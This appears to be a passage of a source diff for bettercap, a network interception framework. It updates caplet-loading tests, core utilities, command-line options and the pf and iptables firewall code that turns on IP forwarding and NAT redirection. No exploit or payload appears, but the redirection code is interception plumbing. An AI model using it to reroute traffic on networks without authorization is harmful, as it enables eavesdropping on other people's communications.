if cap2 == nil {
t.Error("caplet is nil on cache hit")
}
// Test loading with .cap extension
// Note: Load caches by the name parameter, so "test.cap" is a different cache key
cap3, err := Load("test.cap")
if err != nil {
t.Errorf("unexpected error with .cap extension: %v", err)
}
if cap3 == nil {
t.Error("caplet is nil")
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func TestLoadAbsolutePath(t *testing.T) {
// Save original values
origCache := cache
cache = make(map[string]*Caplet)
// Create temp file
tempFile, err := ioutil.TempFile("", "test-absolute-*.cap")
if err != nil {
t.Fatal(err)
}
defer os.Remove(tempFile.Name())
// Write content
content := "# Absolute path test\nset test absolute"
tempFile.WriteString(content)
tempFile.Close()
// Load with absolute path
cap, err := Load(tempFile.Name())
if err != nil {
t.Errorf("unexpected error: %v", err)
}
if cap == nil {
t.Error("caplet is nil")
} else {
if cap.Path != tempFile.Name() {
t.Errorf("expected path %s, got %s", tempFile.Name(), cap.Path)
}
}
// Restore original values
cache = origCache
}
func TestLoadNotFound(t *testing.T) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
cache = make(map[string]*Caplet)
// Set empty LoadPaths
LoadPaths = []string{}
// Try to load non-existent caplet
cap, err := Load("nonexistent")
if err == nil {
t.Error("expected error for non-existent caplet")
}
if cap != nil {
t.Error("expected nil caplet for non-existent file")
}
if !strings.Contains(err.Error(), "not found") {
t.Errorf("expected 'not found' error, got: %v", err)
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func TestLoadWithFolder(t *testing.T) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
cache = make(map[string]*Caplet)
// Create temp directory structure
tempDir, err := ioutil.TempDir("", "caplets-folder-test")
if err != nil {
t.Fatal(err)
}
defer os.RemoveAll(tempDir)
// Create a caplet folder
capletDir := filepath.Join(tempDir, "mycaplet")
os.Mkdir(capletDir, 0755)
// Create main caplet file
mainContent := []string{"# Main caplet", "set main test"}
createTestCaplet(t, capletDir, "mycaplet.cap", mainContent)
// Create additional files
jsContent := []string{"// JavaScript file", "console.log('test');"}
createTestCaplet(t, capletDir, "script.js", jsContent)
capContent := []string{"# Sub caplet", "set sub test"}
createTestCaplet(t, capletDir, "sub.cap", capContent)
// Create a file that should be ignored
ioutil.WriteFile(filepath.Join(capletDir, "readme.txt"), []byte("readme"), 0644)
// Set LoadPaths
LoadPaths = []string{tempDir}
// Load the caplet
cap, err := Load("mycaplet/mycaplet")
if err != nil {
t.Errorf("unexpected error: %v", err)
}
if cap == nil {
t.Fatal("caplet is nil")
}
// Check main caplet
if cap.Name != "mycaplet/mycaplet" {
t.Errorf("expected name 'mycaplet/mycaplet', got %s", cap.Name)
}
if len(cap.Code) != len(mainContent) {
t.Errorf("expected %d lines in main, got %d", len(mainContent), len(cap.Code))
}
// Check additional scripts
if len(cap.Scripts) != 2 {
t.Errorf("expected 2 additional scripts, got %d", len(cap.Scripts))
}
// Find and check the .js file
foundJS := false
foundCap := false
for _, script := range cap.Scripts {
if strings.HasSuffix(script.Path, "script.js") {
foundJS = true
if len(script.Code) != len(jsContent) {
t.Errorf("expected %d lines in JS, got %d", len(jsContent), len(script.Code))
}
}
if strings.HasSuffix(script.Path, "sub.cap") {
foundCap = true
if len(script.Code) != len(capContent) {
t.Errorf("expected %d lines in sub.cap, got %d", len(capContent), len(script.Code))
}
}
}
if !foundJS {
t.Error("script.js not found in Scripts")
}
if !foundCap {
t.Error("sub.cap not found in Scripts")
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func TestCacheConcurrency(t *testing.T) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
cache = make(map[string]*Caplet)
// Create temp directory
tempDir, err := ioutil.TempDir("", "caplets-concurrent-test")
if err != nil {
t.Fatal(err)
}
defer os.RemoveAll(tempDir)
// Create test caplets
for i := 0; i < 5; i++ {
name := fmt.Sprintf("test%d.cap", i)
content := []string{fmt.Sprintf("# Test %d", i)}
createTestCaplet(t, tempDir, name, content)
}
// Set LoadPaths
LoadPaths = []string{tempDir}
// Run concurrent loads
var wg sync.WaitGroup
errors := make(chan error, 50)
for i := 0; i < 10; i++ {
for j := 0; j < 5; j++ {
wg.Add(1)
go func(idx int) {
defer wg.Done()
name := fmt.Sprintf("test%d", idx)
_, err := Load(name)
if err != nil {
errors <- err
}
}(j)
}
}
wg.Wait()
close(errors)
// Check for errors
for err := range errors {
t.Errorf("concurrent load error: %v", err)
}
// Verify cache has all entries
if len(cache) != 5 {
t.Errorf("expected 5 cached entries, got %d", len(cache))
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func TestLoadPathPriority(t *testing.T) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
cache = make(map[string]*Caplet)
// Create temp directories
tempDir1, _ := ioutil.TempDir("", "caplets-priority1-")
tempDir2, _ := ioutil.TempDir("", "caplets-priority2-")
defer os.RemoveAll(tempDir1)
defer os.RemoveAll(tempDir2)
// Create same-named caplet in both directories
createTestCaplet(t, tempDir1, "test.cap", []string{"# From dir1"})
createTestCaplet(t, tempDir2, "test.cap", []string{"# From dir2"})
// Set LoadPaths with tempDir1 first
LoadPaths = []string{tempDir1, tempDir2}
// Load caplet
cap, err := Load("test")
if err != nil {
t.Errorf("unexpected error: %v", err)
}
// Should load from first directory
if cap != nil && len(cap.Code) > 0 {
if cap.Code[0] != "# From dir1" {
t.Error("caplet not loaded from first directory in LoadPaths")
}
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func BenchmarkLoad(b *testing.B) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
// Create temp directory
tempDir, _ := ioutil.TempDir("", "caplets-bench-")
defer os.RemoveAll(tempDir)
// Create test caplet
content := make([]string, 100)
for i := range content {
content[i] = fmt.Sprintf("command %d", i)
}
createTestCaplet(b, tempDir, "bench.cap", content)
// Set LoadPaths
LoadPaths = []string{tempDir}
b.ResetTimer()
for i := 0; i < b.N; i++ {
// Clear cache to measure loading time
cache = make(map[string]*Caplet)
Load("bench")
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func BenchmarkLoadFromCache(b *testing.B) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
cache = make(map[string]*Caplet)
// Create temp directory
tempDir, _ := ioutil.TempDir("", "caplets-bench-cache-")
defer os.RemoveAll(tempDir)
// Create test caplet
createTestCaplet(b, tempDir, "bench.cap", []string{"# Benchmark"})
// Set LoadPaths
LoadPaths = []string{tempDir}
// Pre-load into cache
Load("bench")
b.ResetTimer()
for i := 0; i < b.N; i++ {
Load("bench")
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func BenchmarkList(b *testing.B) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
// Create temp directory
tempDir, _ := ioutil.TempDir("", "caplets-bench-list-")
defer os.RemoveAll(tempDir)
// Create multiple caplets
for i := 0; i < 20; i++ {
name := fmt.Sprintf("test%d.cap", i)
createTestCaplet(b, tempDir, name, []string{fmt.Sprintf("# Test %d", i)})
}
// Set LoadPaths
LoadPaths = []string{tempDir}
b.ResetTimer()
for i := 0; i < b.N; i++ {
cache = make(map[string]*Caplet)
List()
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}

View file

@ -1,64 +0,0 @@
#!/bin/bash
NEW=()
FIXES=()
MISC=()
echo "@ Fetching remote tags ..."
# git fetch --tags > /dev/null
CURTAG=$(git describe --tags --abbrev=0)
OUTPUT=$(git log $CURTAG..HEAD --oneline)
IFS=$'\n' LINES=($OUTPUT)
for LINE in "${LINES[@]}"; do
LINE=$(echo "$LINE" | sed -E "s/^[[:xdigit:]]+\s+//")
if [[ $LINE = *"new:"* ]]; then
LINE=$(echo "$LINE" | sed -E "s/^new: //")
NEW+=("$LINE")
elif [[ $LINE = *"fix:"* ]]; then
LINE=$(echo "$LINE" | sed -E "s/^fix: //")
FIXES+=("$LINE")
elif [[ $LINE != *"i did not bother commenting"* ]] && [[ $LINE != *"Merge "* ]]; then
echo "MISC LINE =$LINE"
LINE=$(echo "$LINE" | sed -E "s/^[a-z]+: //")
MISC+=("$LINE")
fi
done
echo
echo "Changelog"
echo "==="
if [ -n "$NEW" ]; then
echo
echo "**New Features**"
echo
for l in "${NEW[@]}"
do
echo "* $l"
done
fi
if [ -n "$FIXES" ]; then
echo
echo "**Fixes**"
echo
for l in "${FIXES[@]}"
do
echo "* $l"
done
fi
if [ -n "$MISC" ]; then
echo
echo "**Misc**"
echo
for l in "${MISC[@]}"
do
echo "* $l"
done
fi
echo

View file

@ -2,7 +2,7 @@ package core
const ( const (
Name = "bettercap" Name = "bettercap"
Version = "2.5" Version = "2.41.4"
Author = "Simone 'evilsocket' Margaritelli" Author = "Simone 'evilsocket' Margaritelli"
Website = "https://bettercap.org/" Website = "https://bettercap.org/"
) )

33
core/banner_test.go Normal file
View file

@ -0,0 +1,33 @@
package core
import (
"regexp"
"testing"
)
func TestBannerName(t *testing.T) {
if Name != "bettercap" {
t.Fatalf("expected '%s', got '%s'", "bettercap", Name)
}
}
func TestBannerWebsite(t *testing.T) {
if Website != "https://bettercap.org/" {
t.Fatalf("expected '%s', got '%s'", "https://bettercap.org/", Website)
}
}
func TestBannerVersion(t *testing.T) {
match, err := regexp.MatchString(`\d+.\d+`, Version)
if err != nil {
t.Fatalf("unable to perform regex on Version constant")
}
if !match {
t.Fatalf("expected Version constant in format '%s', got '%s'", "X.X", Version)
}
}
func TestBannerAuthor(t *testing.T) {
if Author != "Simone 'evilsocket' Margaritelli" {
t.Fatalf("expected '%s', got '%s'", "Simone 'evilsocket' Margaritelli", Author)
}
}

View file

@ -1,36 +1,22 @@
package core package core
import ( import (
"fmt"
"os"
"os/exec" "os/exec"
"os/user"
"path/filepath"
"sort" "sort"
"strings"
"github.com/bettercap/bettercap/v2/log"
"github.com/evilsocket/islazy/str"
) )
const (
defaultTrimSet = "\r\n\t "
)
func Trim(s string) string {
return strings.Trim(s, defaultTrimSet)
}
func TrimRight(s string) string {
return strings.TrimRight(s, defaultTrimSet)
}
func UniqueInts(a []int, sorted bool) []int { func UniqueInts(a []int, sorted bool) []int {
tmp := make(map[int]bool) tmp := make(map[int]bool, len(a))
uniq := make([]int, 0) uniq := make([]int, 0, len(a))
for _, n := range a { for _, n := range a {
tmp[n] = true tmp[n] = true
} }
for n, _ := range tmp { for n := range tmp {
uniq = append(uniq, n) uniq = append(uniq, n)
} }
@ -41,70 +27,26 @@ func UniqueInts(a []int, sorted bool) []int {
return uniq return uniq
} }
func SepSplit(sv string, sep string) []string { func HasBinary(executable string) bool {
filtered := make([]string, 0) if path, err := exec.LookPath(executable); err != nil || path == "" {
for _, part := range strings.Split(sv, sep) {
part = Trim(part)
if part != "" {
filtered = append(filtered, part)
}
}
return filtered
}
func CommaSplit(csv string) []string {
return SepSplit(csv, ",")
}
func ExecSilent(executable string, args []string) (string, error) {
path, err := exec.LookPath(executable)
if err != nil {
return "", err
}
raw, err := exec.Command(path, args...).CombinedOutput()
if err != nil {
return "", err
} else {
return Trim(string(raw)), nil
}
}
func Exec(executable string, args []string) (string, error) {
path, err := exec.LookPath(executable)
if err != nil {
return "", err
}
raw, err := exec.Command(path, args...).CombinedOutput()
if err != nil {
fmt.Printf("ERROR: path=%s args=%s err=%s out='%s'\n", path, args, err, raw)
return "", err
} else {
return Trim(string(raw)), nil
}
}
func Exists(path string) bool {
if _, err := os.Stat(path); os.IsNotExist(err) {
return false return false
} }
return true return true
} }
func ExpandPath(path string) (string, error) { func Exec(executable string, args []string) (string, error) {
// Check if path is empty path, err := exec.LookPath(executable)
if path != "" { if err != nil {
if strings.HasPrefix(path, "~") { log.Warning("executable %s not found in $PATH", executable)
usr, err := user.Current() return "", err
if err != nil { }
return "", err
} raw, err := exec.Command(path, args...).CombinedOutput()
// Replace only the first occurrence of ~
path = strings.Replace(path, "~", usr.HomeDir, 1) log.Debug("exec=%s args=%v ret_err=%v ret_out=%s", path, args, err, string(raw))
} if err != nil {
return filepath.Abs(path) return str.Trim(string(raw)), err
} else {
return str.Trim(string(raw)), nil
} }
return "", nil
} }

7
core/core_android.go Normal file
View file

@ -0,0 +1,7 @@
// +build android
package core
func Shell(cmd string) (string, error) {
return Exec("/system/bin/sh", []string{"-c", cmd})
}

240
core/core_test.go Normal file
View file

@ -0,0 +1,240 @@
package core
import (
"os"
"testing"
"github.com/evilsocket/islazy/fs"
)
func hasInt(a []int, v int) bool {
for _, n := range a {
if n == v {
return true
}
}
return false
}
func sameInts(a []int, b []int, ordered bool) bool {
if len(a) != len(b) {
return false
}
if ordered {
for i, v := range a {
if v != b[i] {
return false
}
}
} else {
for _, v := range a {
if !hasInt(b, v) {
return false
}
}
}
return true
}
func TestCoreUniqueIntsUnsorted(t *testing.T) {
var units = []struct {
from []int
to []int
}{
{[]int{}, []int{}},
{[]int{1, 1, 1, 1, 1}, []int{1}},
{[]int{1, 2, 1, 2, 3, 4}, []int{1, 2, 3, 4}},
{[]int{4, 3, 4, 3, 2, 2}, []int{4, 3, 2}},
{[]int{8, 3, 8, 4, 6, 1}, []int{8, 3, 4, 6, 1}},
}
for _, u := range units {
got := UniqueInts(u.from, false)
if !sameInts(got, u.to, false) {
t.Fatalf("expected '%v', got '%v'", u.to, got)
}
}
}
func TestCoreUniqueIntsSorted(t *testing.T) {
var units = []struct {
from []int
to []int
}{
{[]int{}, []int{}},
{[]int{1, 1, 1, 1, 1}, []int{1}},
{[]int{1, 2, 1, 2, 3, 4}, []int{1, 2, 3, 4}},
{[]int{4, 3, 4, 3, 2, 2}, []int{2, 3, 4}},
{[]int{8, 3, 8, 4, 6, 1}, []int{1, 3, 4, 6, 8}},
}
for _, u := range units {
got := UniqueInts(u.from, true)
if !sameInts(got, u.to, true) {
t.Fatalf("expected '%v', got '%v'", u.to, got)
}
}
}
func TestCoreExists(t *testing.T) {
var units = []struct {
what string
exists bool
}{
{".", true},
{"/", true},
{"wuuut", false},
{"/wuuu.t", false},
{os.Args[0], true},
}
for _, u := range units {
got := fs.Exists(u.what)
if got != u.exists {
t.Fatalf("expected '%v', got '%v'", u.exists, got)
}
}
}
func TestHasBinary(t *testing.T) {
tests := []struct {
name string
executable string
expected bool
}{
{
name: "common shell",
executable: "sh",
expected: true,
},
{
name: "echo command",
executable: "echo",
expected: true,
},
{
name: "non-existent binary",
executable: "this-binary-definitely-does-not-exist-12345",
expected: false,
},
{
name: "empty string",
executable: "",
expected: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := HasBinary(tt.executable)
if got != tt.expected {
t.Errorf("HasBinary(%q) = %v, want %v", tt.executable, got, tt.expected)
}
})
}
}
func TestExec(t *testing.T) {
tests := []struct {
name string
executable string
args []string
wantError bool
contains string
}{
{
name: "echo with args",
executable: "echo",
args: []string{"hello", "world"},
wantError: false,
contains: "hello world",
},
{
name: "echo empty",
executable: "echo",
args: []string{},
wantError: false,
contains: "",
},
{
name: "non-existent command",
executable: "this-command-does-not-exist-12345",
args: []string{},
wantError: true,
contains: "",
},
{
name: "true command",
executable: "true",
args: []string{},
wantError: false,
contains: "",
},
{
name: "false command",
executable: "false",
args: []string{},
wantError: true,
contains: "",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Skip platform-specific commands if not available
if !HasBinary(tt.executable) && !tt.wantError {
t.Skipf("%s not found in PATH", tt.executable)
}
output, err := Exec(tt.executable, tt.args)
if tt.wantError {
if err == nil {
t.Errorf("Exec(%q, %v) expected error but got none", tt.executable, tt.args)
}
} else {
if err != nil {
t.Errorf("Exec(%q, %v) unexpected error: %v", tt.executable, tt.args, err)
}
if tt.contains != "" && output != tt.contains {
t.Errorf("Exec(%q, %v) = %q, want %q", tt.executable, tt.args, output, tt.contains)
}
}
})
}
}
func TestExecWithOutput(t *testing.T) {
// Test that Exec properly captures and trims output
if HasBinary("printf") {
output, err := Exec("printf", []string{" hello world \n"})
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if output != "hello world" {
t.Errorf("expected trimmed output 'hello world', got %q", output)
}
}
}
func BenchmarkUniqueInts(b *testing.B) {
// Create a slice with duplicates
input := make([]int, 1000)
for i := 0; i < 1000; i++ {
input[i] = i % 100 // This creates 10 duplicates of each number 0-99
}
b.Run("unsorted", func(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = UniqueInts(input, false)
}
})
b.Run("sorted", func(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = UniqueInts(input, true)
}
})
}

View file

@ -1,4 +1,4 @@
// +build !windows // +build !windows,!android
package core package core

View file

@ -1,34 +1,46 @@
package core package core
import "flag" import (
"flag"
)
type Options struct { type Options struct {
InterfaceName *string InterfaceName *string
Gateway *string
Caplet *string Caplet *string
AutoStart *string AutoStart *string
Debug *bool Debug *bool
Silent *bool Silent *bool
NoColors *bool NoColors *bool
NoHistory *bool NoHistory *bool
PrintVersion *bool
EnvFile *string EnvFile *string
Commands *string Commands *string
CpuProfile *string CpuProfile *string
MemProfile *string MemProfile *string
CapletsPath *string
Script *string
PcapBufSize *int
} }
func ParseOptions() (Options, error) { func ParseOptions() (Options, error) {
o := Options{ o := Options{
InterfaceName: flag.String("iface", "", "Network interface to bind to, if empty the default interface will be auto selected."), InterfaceName: flag.String("iface", "", "Network interface to bind to, if empty the default interface will be auto selected."),
AutoStart: flag.String("autostart", "events.stream, net.recon, update.check", "Comma separated list of modules to auto start."), Gateway: flag.String("gateway-override", "", "Use the provided IP address instead of the default gateway. If not specified or invalid, the default gateway will be used."),
AutoStart: flag.String("autostart", "events.stream", "Comma separated list of modules to auto start."),
Caplet: flag.String("caplet", "", "Read commands from this file and execute them in the interactive session."), Caplet: flag.String("caplet", "", "Read commands from this file and execute them in the interactive session."),
Debug: flag.Bool("debug", false, "Print debug messages."), Debug: flag.Bool("debug", false, "Print debug messages."),
PrintVersion: flag.Bool("version", false, "Print the version and exit."),
Silent: flag.Bool("silent", false, "Suppress all logs which are not errors."), Silent: flag.Bool("silent", false, "Suppress all logs which are not errors."),
NoColors: flag.Bool("no-colors", false, "Disable output color effects."), NoColors: flag.Bool("no-colors", false, "Disable output color effects."),
NoHistory: flag.Bool("no-history", false, "Disable interactive session history file."), NoHistory: flag.Bool("no-history", false, "Disable interactive session history file."),
EnvFile: flag.String("env-file", "", "Load environment variables from this file if found, set to empty to disable environment persistance."), EnvFile: flag.String("env-file", "", "Load environment variables from this file if found, set to empty to disable environment persistence."),
Commands: flag.String("eval", "", "Run one or more commands separated by ; in the interactive session, used to set variables via command line."), Commands: flag.String("eval", "", "Run one or more commands separated by ; in the interactive session, used to set variables via command line."),
CpuProfile: flag.String("cpu-profile", "", "Write cpu profile `file`."), CpuProfile: flag.String("cpu-profile", "", "Write cpu profile `file`."),
MemProfile: flag.String("mem-profile", "", "Write memory profile to `file`."), MemProfile: flag.String("mem-profile", "", "Write memory profile to `file`."),
CapletsPath: flag.String("caplets-path", "", "Specify an alternative base path for caplets."),
Script: flag.String("script", "", "Load a session script."),
PcapBufSize: flag.Int("pcap-buf-size", -1, "PCAP buffer size, leave to 0 for the default value."),
} }
flag.Parse() flag.Parse()

View file

@ -1,122 +0,0 @@
package core
import (
"github.com/mattn/go-isatty"
"os"
)
const (
DEBUG = iota
INFO
IMPORTANT
WARNING
ERROR
FATAL
)
// https://misc.flogisoft.com/bash/tip_colors_and_formatting
var (
BOLD = "\033[1m"
DIM = "\033[2m"
RED = "\033[31m"
GREEN = "\033[32m"
BLUE = "\033[34m"
YELLOW = "\033[33m"
FG_BLACK = "\033[30m"
FG_WHITE = "\033[97m"
BG_DGRAY = "\033[100m"
BG_RED = "\033[41m"
BG_GREEN = "\033[42m"
BG_YELLOW = "\033[43m"
BG_LBLUE = "\033[104m"
RESET = "\033[0m"
LogLabels = map[int]string{
DEBUG: "dbg",
INFO: "inf",
IMPORTANT: "imp",
WARNING: "war",
ERROR: "err",
FATAL: "!!!",
}
LogColors = map[int]string{
DEBUG: DIM + FG_BLACK + BG_DGRAY,
INFO: FG_WHITE + BG_GREEN,
IMPORTANT: FG_WHITE + BG_LBLUE,
WARNING: FG_WHITE + BG_YELLOW,
ERROR: FG_WHITE + BG_RED,
FATAL: FG_WHITE + BG_RED + BOLD,
}
HasColors = true
)
func isDumbTerminal() bool {
return os.Getenv("TERM") == "dumb" ||
os.Getenv("TERM") == "" ||
(!isatty.IsTerminal(os.Stdout.Fd()) && !isatty.IsCygwinTerminal(os.Stdout.Fd()))
}
func InitSwag(disableColors bool) {
if disableColors || isDumbTerminal() {
BOLD = ""
DIM = ""
RED = ""
GREEN = ""
BLUE = ""
YELLOW = ""
FG_BLACK = ""
FG_WHITE = ""
BG_DGRAY = ""
BG_RED = ""
BG_GREEN = ""
BG_YELLOW = ""
BG_LBLUE = ""
RESET = ""
LogColors = map[int]string{
DEBUG: "",
INFO: "",
IMPORTANT: "",
WARNING: "",
ERROR: "",
FATAL: "",
}
HasColors = false
}
}
// W for Wrap
func W(e, s string) string {
return e + s + RESET
}
func Bold(s string) string {
return W(BOLD, s)
}
func Dim(s string) string {
return W(DIM, s)
}
func Red(s string) string {
return W(RED, s)
}
func Green(s string) string {
return W(GREEN, s)
}
func Blue(s string) string {
return W(BLUE, s)
}
func Yellow(s string) string {
return W(YELLOW, s)
}

View file

@ -1,107 +0,0 @@
package core
import (
"fmt"
"io"
"regexp"
"strings"
"unicode/utf8"
)
var ansi = regexp.MustCompile("\033\\[(?:[0-9]{1,3}(?:;[0-9]{1,3})*)?[m|K]")
func viewLen(s string) int {
for _, m := range ansi.FindAllString(s, -1) {
s = strings.Replace(s, m, "", -1)
}
return utf8.RuneCountInString(s)
}
func maxLen(strings []string) int {
maxLen := 0
for _, s := range strings {
len := viewLen(s)
if len > maxLen {
maxLen = len
}
}
return maxLen
}
type Alignment int
const (
AlignLeft = Alignment(0)
AlignCenter = Alignment(1)
AlignRight = Alignment(2)
)
func getPads(s string, maxLen int, align Alignment) (lPad int, rPad int) {
len := viewLen(s)
diff := maxLen - len
if align == AlignLeft {
lPad = 0
rPad = diff - lPad + 1
} else if align == AlignCenter {
lPad = diff / 2
rPad = diff - lPad + 1
} else {
// TODO
}
return
}
func padded(s string, maxLen int, align Alignment) string {
lPad, rPad := getPads(s, maxLen, align)
return fmt.Sprintf("%s%s%s", strings.Repeat(" ", lPad), s, strings.Repeat(" ", rPad))
}
func AsTable(w io.Writer, columns []string, rows [][]string) {
for i, col := range columns {
columns[i] = fmt.Sprintf(" %s ", col)
}
for i, row := range rows {
for j, cell := range row {
rows[i][j] = fmt.Sprintf(" %s ", cell)
}
}
colPaddings := make([]int, 0)
lineSep := ""
for colIndex, colHeader := range columns {
column := []string{colHeader}
for _, row := range rows {
column = append(column, row[colIndex])
}
mLen := maxLen(column)
colPaddings = append(colPaddings, mLen)
lineSep += fmt.Sprintf("+%s", strings.Repeat("-", mLen+1))
}
lineSep += "+"
table := ""
// header
table += fmt.Sprintf("%s\n", lineSep)
for colIndex, colHeader := range columns {
table += fmt.Sprintf("|%s", padded(colHeader, colPaddings[colIndex], AlignCenter))
}
table += fmt.Sprintf("|\n")
table += fmt.Sprintf("%s\n", lineSep)
// rows
for _, row := range rows {
for colIndex, cell := range row {
table += fmt.Sprintf("|%s", padded(cell, colPaddings[colIndex], AlignLeft))
}
table += fmt.Sprintf("|\n")
}
// footer
table += lineSep
fmt.Fprintf(w, "\n%s\n", table)
}

View file

@ -9,12 +9,14 @@ import (
"regexp" "regexp"
"strings" "strings"
"github.com/bettercap/bettercap/core" "github.com/bettercap/bettercap/v2/core"
"github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/v2/network"
"github.com/evilsocket/islazy/str"
) )
var ( var (
sysCtlParser = regexp.MustCompile("([^:]+):\\s*(.+)") sysCtlParser = regexp.MustCompile(`([^:]+):\s*(.+)`)
pfFilePath = fmt.Sprintf("/tmp/bcap_pf_%d.conf", os.Getpid()) pfFilePath = fmt.Sprintf("/tmp/bcap_pf_%d.conf", os.Getpid())
) )
@ -39,7 +41,7 @@ func Make(iface *network.Endpoint) FirewallManager {
} }
func (f PfFirewall) sysCtlRead(param string) (string, error) { func (f PfFirewall) sysCtlRead(param string) (string, error) {
if out, err := core.ExecSilent("sysctl", []string{param}); err != nil { if out, err := core.Exec("sysctl", []string{param}); err != nil {
return "", err return "", err
} else if m := sysCtlParser.FindStringSubmatch(out); len(m) == 3 && m[1] == param { } else if m := sysCtlParser.FindStringSubmatch(out); len(m) == 3 && m[1] == param {
return m[2], nil return m[2], nil
@ -50,13 +52,13 @@ func (f PfFirewall) sysCtlRead(param string) (string, error) {
func (f PfFirewall) sysCtlWrite(param string, value string) (string, error) { func (f PfFirewall) sysCtlWrite(param string, value string) (string, error) {
args := []string{"-w", fmt.Sprintf("%s=%s", param, value)} args := []string{"-w", fmt.Sprintf("%s=%s", param, value)}
out, err := core.ExecSilent("sysctl", args) _, err := core.Exec("sysctl", args)
if err != nil { if err != nil {
return "", err return "", err
} }
// make sure we actually wrote the value // make sure we actually wrote the value
if out, err = f.sysCtlRead(param); err != nil { if out, err := f.sysCtlRead(param); err != nil {
return "", err return "", err
} else if out != value { } else if out != value {
return "", fmt.Errorf("Expected value for '%s' is %s, found %s", param, value, out) return "", fmt.Errorf("Expected value for '%s' is %s, found %s", param, value, out)
@ -113,16 +115,16 @@ func (f PfFirewall) generateRule(r *Redirection) string {
func (f *PfFirewall) enable(enabled bool) { func (f *PfFirewall) enable(enabled bool) {
f.enabled = enabled f.enabled = enabled
if enabled { if enabled {
core.ExecSilent("pfctl", []string{"-e"}) core.Exec("pfctl", []string{"-e"})
} else { } else {
core.ExecSilent("pfctl", []string{"-d"}) core.Exec("pfctl", []string{"-d"})
} }
} }
func (f PfFirewall) EnableRedirection(r *Redirection, enabled bool) error { func (f PfFirewall) EnableRedirection(r *Redirection, enabled bool) error {
rule := f.generateRule(r) rule := f.generateRule(r)
if enabled == true { if enabled {
fd, err := os.OpenFile(f.filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) fd, err := os.OpenFile(f.filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil { if err != nil {
return err return err
@ -137,7 +139,7 @@ func (f PfFirewall) EnableRedirection(r *Redirection, enabled bool) error {
f.enable(true) f.enable(true)
// load the rule // load the rule
if _, err := core.ExecSilent("pfctl", []string{"-f", f.filename}); err != nil { if _, err := core.Exec("pfctl", []string{"-f", f.filename}); err != nil {
return err return err
} }
} else { } else {
@ -148,13 +150,13 @@ func (f PfFirewall) EnableRedirection(r *Redirection, enabled bool) error {
lines := "" lines := ""
scanner := bufio.NewScanner(fd) scanner := bufio.NewScanner(fd)
for scanner.Scan() { for scanner.Scan() {
line := core.Trim(scanner.Text()) line := str.Trim(scanner.Text())
if line != rule { if line != rule {
lines += line + "\n" lines += line + "\n"
} }
} }
if core.Trim(lines) == "" { if str.Trim(lines) == "" {
os.Remove(f.filename) os.Remove(f.filename)
f.enable(false) f.enable(false)
} else { } else {

View file

@ -4,26 +4,33 @@ import (
"fmt" "fmt"
"io/ioutil" "io/ioutil"
"os" "os"
"strings"
"github.com/bettercap/bettercap/core" "github.com/bettercap/bettercap/v2/core"
"github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/v2/network"
"github.com/evilsocket/islazy/fs"
"github.com/evilsocket/islazy/str"
) )
type LinuxFirewall struct { type LinuxFirewall struct {
iface *network.Endpoint iface *network.Endpoint
forwarding bool forwarding bool
restore bool
redirections map[string]*Redirection redirections map[string]*Redirection
} }
const ( const (
IPV4ForwardingFile = "/proc/sys/net/ipv4/ip_forward" IPV4ForwardingFile = "/proc/sys/net/ipv4/ip_forward"
IPV6ForwardingFile = "/proc/sys/net/ipv6/conf/all/forwarding"
) )
func Make(iface *network.Endpoint) FirewallManager { func Make(iface *network.Endpoint) FirewallManager {
firewall := &LinuxFirewall{ firewall := &LinuxFirewall{
iface: iface, iface: iface,
forwarding: false, forwarding: false,
redirections: make(map[string]*Redirection, 0), restore: false,
redirections: make(map[string]*Redirection),
} }
firewall.forwarding = firewall.IsForwardingEnabled() firewall.forwarding = firewall.IsForwardingEnabled()
@ -45,11 +52,8 @@ func (f LinuxFirewall) enableFeature(filename string, enable bool) error {
} }
defer fd.Close() defer fd.Close()
if _, err = fd.WriteString(value); err != nil { _, err = fd.WriteString(value)
return err return err
}
return nil
} }
func (f LinuxFirewall) IsForwardingEnabled() bool { func (f LinuxFirewall) IsForwardingEnabled() bool {
@ -57,20 +61,37 @@ func (f LinuxFirewall) IsForwardingEnabled() bool {
if out, err := ioutil.ReadFile(IPV4ForwardingFile); err != nil { if out, err := ioutil.ReadFile(IPV4ForwardingFile); err != nil {
return false return false
} else { } else {
return core.Trim(string(out)) == "1" return str.Trim(string(out)) == "1"
} }
} }
func (f LinuxFirewall) EnableForwarding(enabled bool) error { func (f LinuxFirewall) EnableForwarding(enabled bool) error {
return f.enableFeature(IPV4ForwardingFile, enabled) if err := f.enableFeature(IPV4ForwardingFile, enabled); err != nil {
return err
}
if fs.Exists(IPV6ForwardingFile) {
return f.enableFeature(IPV6ForwardingFile, enabled)
}
f.restore = true
return nil
} }
func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []string) { func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []string) {
action := "-A" action := "-A"
if enabled == false { destination := ""
if !enabled {
action = "-D" action = "-D"
} }
if strings.Count(r.DstAddress, ":") < 2 {
destination = r.DstAddress
} else {
destination = fmt.Sprintf("[%s]", r.DstAddress)
}
if r.SrcAddress == "" { if r.SrcAddress == "" {
cmdLine = []string{ cmdLine = []string{
"-t", "nat", "-t", "nat",
